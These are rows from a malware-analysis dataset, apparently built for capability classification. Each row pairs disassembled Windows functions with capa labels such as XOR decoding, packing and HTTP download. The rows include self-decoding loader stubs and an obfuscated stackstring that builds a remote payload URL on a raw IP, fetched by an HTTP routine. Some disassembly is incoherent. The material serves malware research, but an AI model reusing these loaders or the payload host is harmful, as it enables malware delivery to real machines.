joyce8/EMBER2024-capa huggingface dataset:
Function at 0x428cf2
Capabilities:
Check mutex on windows

Disassembly:
push 0xa8
mov eax, 0x458f50
call fcn.00441eb1
push str.Global_MSIExecute
xor esi, esi
push esi
push 0x100000
call dword [sym.imp.kernel32.dll_OpenMutexA]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 1
mov dword [ebp - 4], esi
cmp eax, esi
je 0x428dc4
push dword [ebp + 8]
push eax
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
mov dword [ebp - 0x14], eax
cmp dword [ebp + 8], esi
je 0x428da4
cmp dword [0x47d500], 1
jg 0x428da4
lea eax, [ebp - 0xb4]
push eax
call fcn.00409545
lea eax, [ebp - 0xb4]
push str.finish_waiting_for_mutex:
push eax
mov byte [ebp - 4], 1
call fcn.0040b58e
pop ecx
pop ecx
push dword [ebp - 0x14]
lea eax, [ebp - 0xb4]
push eax
call fcn.0040df0e
lea eax, [ebp - 0xb4]
push eax
push 0x1c8
push 1
mov ebx, str.msi::waitForInstallationCompletion
mov edi, str.c:_ade_jenkins_workspace_8_2_build_windows_i586_cygwin_jdk8u241_331_install_src_windows_common_MsiUtils.cpp
mov esi, 0x47d500
call fcn.004078b6
lea eax, [ebp - 0xb4]
mov byte [ebp - 4], 0
call fcn.0040789c
cmp dword [ebp - 0x14], 0x102
jne 0x428dc4
xor bl, bl
or dword [ebp - 4], 0xffffffff
push dword [ebp - 0x1c]
call fcn.00451377
pop ecx
mov al, bl
call fcn.00441f89
ret
mov bl, 1
jmp 0x428daf

Function at 0x434134
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x240
lea ebp, [esp - 4]
mov eax, dword [0x479630]
xor eax, ebp
mov dword [ebp + 0x240], eax
push 0x14
mov eax, 0x4566fc
call fcn.00441eb1
xor esi, esi
lea eax, [ebp + 0x38]
push eax
push esi
push esi
push 0x2c
push esi
mov dword [ebp - 0x10], esi
call dword [sym.imp.shell32.dll_SHGetFolderPathW]
cmp eax, esi
je 0x43418a
push 0xc8
lea esi, [ebp - 0x20]
call fcn.00451377
push 0x46d720
mov eax, esi
push eax
call fcn.00451377
lea eax, [ebp + 0x38]
push eax
lea eax, [ebp]
call fcn.00414d60
push 0x4695b4
push eax
lea eax, [ebp + 0x1c]
mov dword [ebp - 4], esi
call fcn.00451377
push ebx
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.00432e7f
add esp, 0xc
push 1
xor edi, edi
lea esi, [ebp + 0x1c]
call fcn.00414e32
push 1
lea esi, [ebp]
call fcn.00414e32
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x240]
xor ecx, ebp
call fcn.0043a455
add ebp, 0x244
leave
ret

Function at 0x43a455
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x479630]
jne 0x43a45f
repz ret
jmp fcn.004446c5
Function at 0x451377
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x451386
pop dword [ebp - 0xc]
mov eax, 0x6f00774
add eax, 0xf9550c12
sub dword [ebp - 0xc], eax
push 0x40
push 0x1000
push 0x49f38
push 0
mov eax, 0x50e6d6ed
sub eax, 0x50a10649
add eax, dword [ebp - 0xc]
call dword [eax]
mov ecx, 0x549e
xor esi, esi
add esi, eax
mov edx, 0x7b52447d
add edx, 0x84f7c183
add edx, dword [ebp - 0xc]
mov ebx, 0x12ef1d6a
add dword [ebp - 4], 0xcb3f7884
mov edi, dword [edx]
xor dword [ebp - 8], edx
add edi, ebx
mov dword [esi], edi
mov dword [ebp - 4], 0x998756a0
add esi, 0xd282c7f5
sub esi, 0xd282c7f1
add edx, 4
loop 0x4513db
add eax, 0x1454b
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1158058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.011581a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x115807e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x115806a
add dl, dl
jne 0x1158089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x11580dc
xor eax, eax
add dl, dl
jne 0x1158096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x115817d
add dl, dl
jne 0x11580a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x11580b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x11580bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x11580c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x11580d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x1158075
mov eax, 1
add dl, dl
jne 0x11580ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x11580f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x11580e1
sub eax, ebx
mov ebx, 1
jne 0x1158128
mov ecx, 1
add dl, dl
jne 0x115810e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1158119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1158105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1158075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x115813f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x115814a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1158136
cmp eax, 0x7d00
jae 0x115816d
cmp eax, 0x500
jb 0x1158168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1158075
cmp eax, 0x7f
ja 0x1158170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1158075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x115819e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x1158075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x404b14
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
and dword [esp + 4], 0
push ebx
push esi
push edi
pushal
xor eax, eax
dec eax
xor ebx, eax
mov dword [esp + 0x30], ebx
popal
push str.V3.5_n
call dword [sym.imp.MSVCR90.dll_printf]
cmp dword [0x4093a8], 0
pop ecx
jne 0x404b4d
call fcn.0040435c
cmp dword [0x4093a4], 0
jne 0x404b5b
call fcn.0040429c
call fcn.0040459d
mov esi, dword [ebp + 0xc]
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x10]
push eax
push dword [esi]
call fcn.00404144
lea eax, [esp + 0x14]
push eax
call fcn.00403faf
mov dword [0x4093ac], eax
lea eax, [esp + 0x38]
push eax
call fcn.00403f65
push dword [esp + 0xc]
push dword [esi]
call fcn.00404033
push eax
mov dword [0x4093b0], eax
call dword [sym.imp.MSVCR90.dll__msize]
pop ecx
mov esi, eax
push esi
call fcn.00403fe4
mov eax, esi
imul eax, eax, 3
push eax
mov dword [esp + 0x10], eax
call dword [sym.imp.MSVCR90.dll_malloc]
pop ecx
mov edi, eax
push esi
lea eax, [esp + 0x10]
push eax
push edi
call fcn.0040327f
test edi, edi
je 0x404bf3
lea eax, [esp + 0x38]
push eax
push dword [esp + 0x10]
push edi
call fcn.004043b2
lea eax, [esp + 0x38]
push eax
call dword [0x409398]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00404267
int3

Function at 0x406fa0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
mov esi, dword [ebp + 0xc]
dec ebp
fstp xword [ebx]
push edi
mov dword [eax - 0xc], esi
jne 0x406fba
mov cl, 0x45
hlt
mov al, byte [esi]
cmp al, 0x30
jl 0x40707d
cmp al, 0x39
jg 0xcb70a6
push 0x3640f434
push esi
call dword [0x2940c11c]
mov edx, eax
mov ebp, dword [esi + 0x33ffc983]
rol byte [ebx - 0x510df73c], 0xf7
invalid
invalid
push cs
call dword [sym.imp.WSOCK32.dll_gethostbyname]
cmp eax, ebx
mov dword [ebp - 0x14], eax
test dword [bp + di + 0x7035], ecx
rol dword [eax], 0xff
salc
test eax, eax
je 0x4070c6
call esi
pop edi
pop esi
add eax, 0x63fc80
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
test eax, eax
pop ebx
cmp ebp, esp
pop ebp
ret

Function at 0x40a340
Capabilities:
Encode data using xor

Disassembly:
mov ebp, esp
mov eax, dword [ebp + 8]
imul ecx, dword [eax - 0x18], 0x10758385
dec ebp
ror byte [eax + edx*2], 0xff
adc eax, sym.imp.KERNEL32.dll_EnterCriticalSection
rcr byte [ebp - 0x3e], 4
out dx, eax
mov eax, dword [eax + 0x64]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x40a2e7
cmp eax, 0x80
je 0x40a2e7
cmp eax, 0xcb000199
push esi
jne 0x40a316
mov eax, 0x11189
pop esi
pop ebp
ret 4
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
inc dword [edi + ecx*4 - 0x40]
jne 0x40a327
invalid
pop esi
pop ebp
in al, dx
add al, 0
call esi
add eax, 0xace80
pop esi
mov eax, dword [0x3b0086c2]
nop
mov dword [0x48909090], eax
nop
dec eax
nop
arpl word [eax + 0x55906490], dx
push ebp
mov ebp, esp
dec ebp
or byte [esi + 0x40], dl
inc ecx
or eax, dword [ebp - 0x7cb48a40]
ror dword [ecx + edx*2], 0xff
xor ch, byte [eax + eax*8]
inc eax
add byte [ebx], dh
je 0x40a338
pop ebp
ret 4
Function at 0x100100e4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x428
mov eax, 0x10040d67
call fcn.1004053e
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
xor ebx, ebx
mov dword [ebp - 0x41c], edx
mov dword [ebp - 0x420], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x430], ebx
mov dword [ebp - 0x418], ebx
push 2
push ebx
push eax
mov byte [ebp - 4], 1
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], edi
test edi, edi
jne 0x10010145
call fcn.1000d37a
mov esi, eax
jmp 0x10010228
push dword [ebp - 0x41c]
push esi
push edi
call dword [sym.imp.kernel32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x10010163
call fcn.1000d37a
jmp 0x1001021f
push esi
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x428], eax
test eax, eax
je 0x10010159
push esi
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov esi, eax
lea eax, [esi + 1]
mov dword [ebp - 0x41c], esi
cmp eax, esi
jae 0x10010196
mov esi, 0x8007000e
jmp 0x10010221
push eax
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.100127e5
mov dword [ebp - 4], 1
jmp 0x100101d5
cmp dword [ebp - 0x418], 0
je 0x1001018c
push esi
push dword [ebp - 0x418]
push esi
push dword [ebp - 0x428]
push ebx
push 3
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
je 0x10010159
mov eax, dword [ebp - 0x418]
push dword [ebp + 0x14]
xor edx, edx
mov word [eax + ecx*2], dx
push dword [ebp - 0x418]
lea ecx, [ebp - 0x430]
call fcn.100127e5
mov esi, eax
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x10010241
lea ecx, [ebp - 0x418]
call fcn.10010357
lea ecx, [ebp - 0x420]
call fcn.1000d2ec
mov eax, esi
call fcn.10040597
ret 0x10
Function at 0x100127e5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x100127f4
pop dword [ebp - 0x48]
mov eax, 0x70cadfa2
sub eax, 0x60c9b7ae
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0xe93a8c78
add dword [ebp - 0x58], 0x6517b8d3
mov dword [ebp - 0x54], 0x5b91de6b
sub dword [ebp - 0x54], 0x295e9226
mov dword [ebp - 0x50], 0xc94e56d4
sub dword [ebp - 0x50], 0x7d0212a6
mov dword [ebp - 0x4c], 0xe0f03d86
sub dword [ebp - 0x4c], 0xe0f03d86
lea eax, [ebp - 0x58]
push eax
mov eax, 0xe8b6fa54
sub eax, 0xd8b6e96c
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x9993291e
sub dword [ebp - 0x58], 0x2520bfc8
mov dword [ebp - 0x54], 0x59767f3c
sub dword [ebp - 0x54], 0x180a1dc7
mov dword [ebp - 0x50], 0x408b81c8
sub dword [ebp - 0x50], 0xdd1c155c
mov dword [ebp - 0x4c], 0x34a79c34
add dword [ebp - 0x4c], 0xcb5863cc
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x62766c4e
add eax, 0xad89a4d6
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x406ce
push 0
call eax
mov ecx, 0x4540
xor ebx, ebx
add ebx, eax
mov edx, 0x46bb07e
sub edx, 0xf466927e
add edx, dword [ebp - 0x48]
mov edi, 0xc1fdc9c6
add dword [ebp - 0x38], edi
mov esi, dword [edx]
sub dword [ebp - 0x28], 0xa59dffd3
xor esi, edi
xor dword [ebp - 4], 0xadd47578
mov dword [ebx], esi
sub dword [ebp - 0x30], edi
add ebx, 4
add edx, 0x70212fec
add edx, 0x8fded018
loop 0x1001290c
add eax, 0x4c8037db
add eax, 0xb380cff8
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x8b4940d0
sub ecx, 0x7b4940d0
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x1003eed2
Capabilities:
Set registry value

Disassembly:
push 0x10
mov eax, 0x10043494
call fcn.1004049f
xor esi, esi
push 0x1004a9c4
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], esi
call fcn.100127e5
mov dword [ebp - 4], esi
cmp dword [0x1004a9bc], esi
je 0x1003ef1a
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edi, eax
jmp 0x1003ef8a
push 1
push esi
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 0xc]
call fcn.100127e5
test eax, eax
jns 0x1003ef32
push 8
pop edi
jmp 0x1003ef7c
mov edi, dword [ebp + 0x14]
test edi, edi
je 0x1003ef62
cmp edi, 2
jbe 0x1003ef43
cmp edi, 7
jne 0x1003ef62
push 1
push esi
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0x18]
call fcn.100127e5
mov esi, dword [ebp - 0x10]
test eax, eax
js 0x1003ef2d
mov eax, dword [ebp + 0x1c]
mov ecx, esi
shr eax, 1
jmp 0x1003ef68
mov eax, dword [ebp + 0x1c]
mov ecx, dword [ebp + 0x18]
push eax
push ecx
push edi
push dword [ebp + 0x10]
push dword [ebp - 0x14]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edi, eax
push dword [ebp - 0x14]
call fcn.100127e5
push esi
call fcn.100127e5
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.100311d4
mov eax, edi
call fcn.10040577
ret 0x18
Function at 0x1003f1a6
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x10
mov eax, 0x10043494
call fcn.1004049f
xor ebx, ebx
push 0x1004a9c4
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x14], ebx
mov esi, ebx
call fcn.100127e5
mov dword [ebp - 4], ebx
cmp dword [0x1004a9bc], ebx
je 0x1003f1f0
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov esi, eax
jmp 0x1003f295
push 1
push ebx
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 0xc]
call fcn.100127e5
test eax, eax
jns 0x1003f208
push 8
pop edi
jmp 0x1003f285
mov ebx, dword [ebp + 0x1c]
mov edx, dword [ebx]
mov eax, dword [0x1004a9c0]
shr edx, 1
push edx
mov dword [ebp - 0x10], edx
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
cmp dword [ebp - 0x10], 0
mov esi, eax
jbe 0x1003f229
mov byte [esi], 0
lea eax, [ebp - 0x10]
push eax
push esi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp - 0x14]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edi, eax
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x1003f25d
mov ecx, dword [ebx]
shr ecx, 1
je 0x1003f25d
dec ecx
dec eax
cmp ecx, eax
cmovae ecx, eax
mov byte [ecx + esi], 0
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 0x14]
cmp dword [ecx], 0
jbe 0x1003f285
cmp dword [ecx], 2
jbe 0x1003f26f
cmp dword [ecx], 7
jne 0x1003f285
push eax
lea eax, [ebp + 0x18]
push eax
push esi
call fcn.100127e5
test eax, eax
js 0x1003f203
mov eax, dword [ebp - 0x10]
add eax, eax
mov dword [ebx], eax
push dword [ebp - 0x14]
call fcn.100127e5
push esi
call fcn.100127e5
mov esi, edi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.100311d4
mov eax, esi
call fcn.10040577
ret 0x18
Function at 0x7003d1d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x7003d2c
pop dword [ebp - 0x20]
mov eax, 0x7003d2c
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x665d41cc
sub dword [ebp - 0x30], 0x180afc81
mov dword [ebp - 0x2c], 0xf8d22fcd
sub dword [ebp - 0x2c], 0xc69ee388
mov dword [ebp - 0x28], 0xc3071128
add dword [ebp - 0x28], 0x89453306
mov dword [ebp - 0x24], 0x3bfbfe30
add dword [ebp - 0x24], 0xc40401d0
lea eax, [ebp - 0x30]
push eax
mov eax, 0xe7ce710a
sub eax, 0xe0cd30da
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x3cb856c9
sub dword [ebp - 0x30], 0xc845ed73
mov dword [ebp - 0x2c], 0x9db9c465
sub dword [ebp - 0x2c], 0x5c4d62f0
mov dword [ebp - 0x28], 0xc83ed742
add dword [ebp - 0x28], 0x9b30952a
mov dword [ebp - 0x24], 0xc1b32d82
add dword [ebp - 0x24], 0x3e4cd27e
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0x7665c86
add eax, 0xff9ae3ae
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x3bf71
push 0
call eax
mov ecx, 0x4ee4
xor ebx, ebx
add ebx, eax
mov edx, 0xdea520b8
add edx, 0x285cf348
add edx, dword [ebp - 0x20]
mov edi, 0x3ee6b77b
sub edi, 0x63565e53
mov dword [ebp - 4], 0x94b6de55
mov esi, dword [edx]
sub dword [ebp - 0xc], ecx
add esi, edi
xor dword [ebp - 8], 0x567248d8
mov dword [ebx], esi
xor dword [ebp - 8], esi
add ebx, 4
add edx, 0xfa38bdf5
sub edx, 0xfa38bdf1
loop 0x7003e45
add eax, 0x12e63
mov ebx, eax
add eax, 5
mov ecx, 0x395ca145
add ecx, 0xcda35ebb
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x700dc1f
Capabilities:
Set current directory

Disassembly:
push 8
mov eax, 0x7012b4c
call fcn.07001ce0
mov edi, ecx
mov dword [ebp - 0x14], edi
mov esi, dword [ebp + 8]
push esi
call fcn.0700de1f
xor ebx, ebx
mov dword [edi], vtable.FileSharedStream.0
mov dword [edi + 0xc], ebx
mov byte [edi + 0x10], bl
mov eax, dword [esi + 0x14]
mov dword [edi + 0x14], eax
lea eax, [edi + 0x18]
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.kernel32.dll_InitializeCriticalSection]
mov ecx, esi
mov byte [ebp - 4], 1
call fcn.0700e7aa
lea ecx, [ebp - 0x10]
call fcn.0700dbbc
mov eax, dword [edi + 0x14]
mov byte [ebp - 4], 2
push dword [eax + 0x14]
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
mov eax, dword [edi + 0x14]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x700dc8c
mov eax, dword [eax + 0x14]
jmp 0x700dc91
mov eax, 0x70148c2
push 0x7016240
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov dword [edi + 0xc], eax
pop ecx
pop ecx
test eax, eax
je 0x700dcbf
mov ecx, edi
call fcn.07007930
lea ecx, [ebp - 0x10]
call fcn.07003d1d
mov eax, edi
call fcn.07001e84
ret 4
push str.file_does_not_exist
push ebx
call fcn.07003d1d
int3
Function at 0x10069bc2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x10069bd1
pop dword [ebp - 0x18]
mov eax, 0x53be0920
add eax, 0xbc4892b1
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x3aa50
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0x4fe12a71
sub ecx, 0x4fe0d4b5
xor ebx, ebx
add ebx, eax
mov edi, 0x738220e9
add edi, 0x9c860d17
add edi, dword [ebp - 0x18]
mov edx, 0x4f95acbb
sub edx, 0xaa6c142e
add dword [ebp - 0x14], ecx
mov esi, dword [edi]
sub dword [ebp - 4], ecx
add esi, edx
xor dword [ebp - 0x10], ecx
mov dword [ebx], esi
xor dword [ebp - 0x10], edx
add ebx, 0xd6b66883
sub ebx, 0xd6b6687f
add edi, 0x40582fd0
add edi, 0xbfa7d034
loop 0x10069c2d
add eax, 0x149c3
mov ebx, eax
add eax, 5
mov ecx, 0x590ddb99
add ecx, 0xb6f22467
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x401697
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42b99c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x48
mov byte [ebp - 0x54], 0x68
mov byte [ebp - 0x53], 0x74
mov byte [ebp - 0x52], 0x74
mov byte [ebp - 0x51], 0x70
mov byte [ebp - 0x50], 0x3a
mov byte [ebp - 0x4f], 0x2f
mov byte [ebp - 0x4e], 0x2f
mov byte [ebp - 0x4d], 0x31
mov byte [ebp - 0x4c], 0x34
mov byte [ebp - 0x4b], 0x33
mov byte [ebp - 0x4a], 0x2e
mov byte [ebp - 0x49], 0x39
mov byte [ebp - 0x48], 0x32
mov byte [ebp - 0x47], 0x2e
mov byte [ebp - 0x46], 0x36
mov byte [ebp - 0x45], 0x31
mov byte [ebp - 0x44], 0x2e
mov byte [ebp - 0x43], 0x31
mov byte [ebp - 0x42], 0x34
mov byte [ebp - 0x41], 0x3a
mov byte [ebp - 0x40], 0x37
mov byte [ebp - 0x3f], 0x30
mov byte [ebp - 0x3e], 0x32
mov byte [ebp - 0x3d], 0x31
mov byte [ebp - 0x3c], 0x2f
mov byte [ebp - 0x3b], 0x74
mov byte [ebp - 0x3a], 0x72
mov byte [ebp - 0x39], 0x65
mov byte [ebp - 0x38], 0x61
mov byte [ebp - 0x37], 0x6d
mov byte [ebp - 0x36], 0x2e
mov byte [ebp - 0x35], 0x74
mov byte [ebp - 0x34], 0x78
mov byte [ebp - 0x33], 0x74
mov byte [ebp - 0x32], 0
lea ecx, [ebp - 0xd]
call fcn.00406618
push eax
lea eax, [ebp - 0x31]
push eax
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x18]
call fcn.004069c1
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x30]
call fcn.00406727
and dword [ebp - 4], 0
lea ecx, [ebp - 0x30]
call fcn.0040db15
push eax
call fcn.00401bff
pop ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.00407335
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
leave
ret
Function at 0x4019cf
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42ba20
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
mov dword [ebp - 4], 1
push 0
push 0
push 0
push 0
push str.User_Agent
call dword [0x43e1b4]
mov dword [0x43e16c], eax
cmp dword [0x43e16c], 0
jne 0x401a19
push 0xffffffffffffffff
call fcn.00418882
push 0
push dword [ebp + 0x20]
lea ecx, [ebp + 8]
call fcn.0040db26
push eax
push dword [0x43e16c]
call dword [0x43e18c]
mov dword [0x43e170], eax
cmp dword [0x43e170], 0
jne 0x401a48
push 0xffffffffffffffff
call fcn.00418882
push 0
push 0
push 0
push str.HTTP_1.1
lea ecx, [ebp + 0x24]
call fcn.0040db26
push eax
push 0x42d478
push dword [0x43e170]
call dword [0x43e198]
mov dword [0x43e174], eax
cmp dword [0x43e174], 0
jne 0x401a82
push 0xffffffffffffffff
call fcn.00418882
push 0
push 0
push 0
push 0
push 0
push 0
push dword [0x43e174]
call dword [0x43e188]
mov dword [ebp - 0x1c], eax
push 0
push dword [0x43e174]
call dword [0x43e19c]
mov dword [ebp - 0x1c], eax
and dword [ebp - 0x18], 0
mov dword [ebp - 0x10], 4
push 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
push 0
push 0x20000013
push dword [0x43e174]
call dword [0x43e180]
cmp dword [ebp - 0x18], 0xc8
je 0x401ae6
push 0xffffffffffffffff
call fcn.00418882
and dword [ebp - 0x14], 0
push 0
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x16
push dword [0x43e174]
call dword [0x43e180]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x401b52
mov eax, dword [ebp - 0x10]
shr eax, 1
xor ecx, ecx
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00411403
pop ecx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
push 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x14]
push str.Content_Length
push 0xffff
push dword [0x43e174]
call dword [0x43e180]
mov dword [ebp - 0x1c], eax
push 0
push 0xffffffffffffffff
push 0
push dword [0x43e174]
call dword [0x43e194]
push dword [ebp - 0x14]
lea ecx, [ebp - 0x40]
call fcn.0040688f
mov byte [ebp - 4], 2
push 0xa
push 0
lea eax, [ebp - 0x40]
push eax
call fcn.0040e967
add esp, 0xc
mov dword [0x43e1e8], eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x40]
call fcn.0040734e
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x24], eax
push dword [ebp - 0x24]
call fcn.0041140c
pop ecx
push dword [0x43e1e8]
call fcn.00417edd
pop ecx
mov dword [0x43e1e4], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x43e1e8]
push dword [0x43e1e4]
push dword [0x43e174]
call dword [0x43e1ac]
test eax, eax
jne 0x401bdb
push 0xffffffffffffffff
call fcn.00418882
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.0040734e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x24]
call fcn.0040734e
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
leave
ret